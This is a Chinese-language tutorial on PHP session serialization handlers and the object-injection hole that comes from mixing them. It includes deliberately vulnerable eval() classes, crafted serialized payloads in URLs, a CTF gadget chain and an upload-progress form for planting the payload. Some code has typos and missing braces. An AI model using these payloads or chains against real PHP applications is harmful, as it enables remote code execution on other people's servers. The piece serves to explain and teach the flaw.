PHP中SESSION 反序列化機制

2017-03-09 1548 12 編輯:深圳網站建設 來源:互聯網

在php.ini中存在三項配置項:

session.save_path=""   --設置session的存儲路徑

session.save_handler="" --設定用戶自定義存儲函數,如果想使用PHP內置會話存儲機制之外的可以使用本函數(數據庫等方式)

session.auto_start   boolen --指定會話模塊是否在請求開始時啟動一個會話,默認為0不啟動

session.serialize_handler   string --定義用來序列化/反序列化的處理器名字。默認使用php

以上的選項就是與PHP中的Session存儲和序列話存儲有關的選項。

PHPSESSION.jpg

在使用xampp組件安裝中,上述的配置項的設置如下:

session.save_path="D:\xampp\tmp"表明所有的session文件都是存儲在xampp/tmp下

session.save_handler=files  表明session是以文件的方式來進行存儲的

session.auto_start=0表明默認不啟動session

session.serialize_handler=php   表明session的默認序列話引擎使用的是php序列話引擎

在上述的配置中,session.serialize_handler是用來設置session的序列話引擎的,除了默認的PHP引擎之外,還存在其他引擎,不同的引擎所對應的session的存儲方式不相同。

    php_binary:存儲方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值

    php:存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值

    php_serialize(php>5.5.4):存儲方式是,經過serialize()函數序列化處理的值

在PHP中默認使用的是PHP引擎,如果要修改為其他的引擎,只需要添加代碼ini_set('session.serialize_handler', '需要設置的引擎');。示例代碼如下:

<?php

ini_set('session.serialize_handler', 'php_serialize');

session_start();

// do something

存儲機制

php中的session中的內容并不是放在內存中的,而是以文件的方式來存儲的,存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。

存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列話之后的內容。

假設我們的環境是xampp,那么默認配置如上所述。

在默認配置情況下:

<?php

session_start()

$_SESSION['name'] = 'spoock';

var_dump();

?>

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存儲的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的內容是name|s:6:"spoock";。name是鍵值,s:6:"spoock";是serialize("spoock")的結果。

在php_serialize引擎下:

<?php

ini_set('session.serialize_handler', 'php_serialize');

session_start();

$_SESSION['name'] = 'spoock';

var_dump();

?>

SESSION文件的內容是a:1:{s:4:"name";s:6:"spoock";}。a:1是使用php_serialize進行序列話都會加上。同時使用php_serialize會將session中的key和value都會進行序列化。

在php_binary引擎下:

<?php

ini_set('session.serialize_handler', 'php_binary');

session_start();

$_SESSION['name'] = 'spoock';

var_dump();

?>

SESSION文件的內容是names:6:"spoock";。由于name的長度是4,4在ASCII表中對應的就是EOT。根據php_binary的存儲規則,最后就是names:6:"spoock";。(突然發現ASCII的值為4的字符無法在網頁上面顯示,這個大家自行去查ASCII表吧)

序列化簡單利用

test.php

<?php

class syclover{

        var $func="";

        function __construct() {

            $this->func = "phpinfo()";

        }

        function __wakeup(){

            eval($this->func);

        }

}

unserialize($_GET['a']);

?>

在11行對傳入的參數進行了序列化。我們可以通過傳入一個特定的字符串,反序列化為syclover的一個示例,那么就可以執行eval()方法。我們訪問localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的內容是:

object(syclover)[1]

  public 'func' => string 'echo "spoock";' (length=14)

最后頁面輸出的就是spoock,說明最后執行了我們定義的echo "spoock";方法。

這就是一個簡單的序列化的漏洞的演示

PHP Session中的序列化危害

PHP中的Session的實現是沒有的問題,危害主要是由于程序員的Session使用不當而引起的。

如果在PHP在反序列化存儲的$_SESSION數據時使用的引擎和序列化使用的引擎不一樣,會導致數據無法正確第反序列化。通過精心構造的數據包,就可以繞過程序的驗證或者是執行一些系統的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的數據使用php_serialize,那么最后的存儲的內容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。

但是我們在進行讀取的時候,選擇的是php,那么最后讀取的內容是:

array (size=1)

  'a:1:{s:6:"spoock";s:24:"' => 

    object(__PHP_Incomplete_Class)[1]

      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

這是因為當使用php引擎的時候,php引擎會以|作為作為key和value的分隔符,那么就會將a:1:{s:6:"spoock";s:24:"作為SESSION的key,將O:11:"PeopleClass":0:{}作為value,然后進行反序列化,最后就會得到PeopleClas這個類。

這種由于序列話化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。

實際利用

存在s1.php和us2.php,2個文件所使用的SESSION的引擎不一樣,就形成了一個漏洞、

s1.php,使用php_serialize來處理session

<?php

ini_set('session.serialize_handler', 'php_serialize');

session_start();

$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php來處理session

ini_set('session.serialize_handler', 'php');

session_start();

class lemon {

    var $hi;

    function __construct(){

        $this->hi = 'phpinfo();';

    }    

    function __destruct() {

         eval($this->hi);

    }

}

當訪問s1.php時,提交如下的數據:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此時傳入的數據會按照php_serialize來進行序列化。

此時訪問us2.php時,頁面輸出,spoock成功執行了我們構造的函數。因為在訪問us2.php時,程序會按照php來反序列化SESSION中的數據,此時就會反序列化偽造的數據,就會實例化lemon對象,最后就會執行析構函數中的eval()方法。

CTF

在安恒杯中的一道題目就考察了這個知識點。題目中的關鍵代碼如下:

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));

//show_source(__FILE__);

class foo1{

        public $varr;

        function __construct(){

                $this->varr = "index.php";

        }

        function __destruct(){

                if(file_exists($this->varr)){

                        echo "<br>文件".$this->varr."存在<br>";

                }

                echo "<br>這是foo1的析構函數<br>";

        }

}

class foo2{

        public $varr;

        public $obj;

        function __construct(){

                $this->varr = '1234567890';

                $this->obj = null;

        }

        function __toString(){

                $this->obj->execute();

                return $this->varr;

        }

        function __desctuct(){

                echo "<br>這是foo2的析構函數<br>";

        }

class foo3{

        public $varr;

        function execute(){

                eval($this->varr);

        }

        function __desctuct(){

                echo "<br>這是foo3的析構函數<br>";

        }

}

?>

index.php

<?php

ini_set('session.serialize_handler', 'php'); 

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通過代碼發現,我們最終是要通過foo3中的execute來執行我們自定義的函數。

那么我們首先在本地搭建環境,構造我們需要執行的自定義的函數。如下:

myindex.php

<?php

class foo3{

        public $varr='echo "spoock";';

        function execute(){

                eval($this->varr);

        }

}

class foo2{

        public $varr;

        public $obj;

        function __construct(){

                $this->varr = '1234567890';

                $this->obj = new foo3();

        }

        function __toString(){

                $this->obj->execute();

                return $this->varr;

        }

class foo1{

        public $varr;

        function __construct(){

                $this->varr = new foo2();

        }

$obj = new foo1();

print_r(serialize($obj));

?>

在foo1中的構造函數中定義$varr的值為foo2的實例,在foo2中定義$obj為foo3的實例,在foo3中定義$varr的值為echo "spoock"。最終得到的序列話的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

這樣當上面的序列話的值寫入到服務器端,然后再訪問服務器的index.php,最終就會執行我們預先定義的echo "spoock";的方法了。

寫入的方式主要是利用PHP中Session Upload Progress來進行設置,具體為,在上傳文件時,如果POST一個名為PHP_SESSION_UPLOAD_PROGRESS的變量,就可以將filename的值賦值到session中,上傳的頁面的寫法如下:

<form action="index.php" method="POST" enctype="multipart/form-data">

    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />

    <input type="file" name="file" />

    <input type="submit" />

</form>

最后就會將文件名寫入到session中,具體的實現細節可以參考PHP手冊。

那么最終寫入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意與本地反序列化不一樣的地方是要在最前方加上|

但是我在進行本地測試的時候,發現無法實現安恒這道題目所實現的效果,但是最終的原理是一樣的。

總結

通過對PHP中的SESSION的分析,對PHP中的SESSION的實現原理有了更加深刻的認識。這個PHP的SESSION問題也是一個很好的問題。上述的這篇文章不僅使大家PHP中的SESSION的序列化漏洞有一個認識,也有助于程序員加強在PHP中的SESSION機制的理解。

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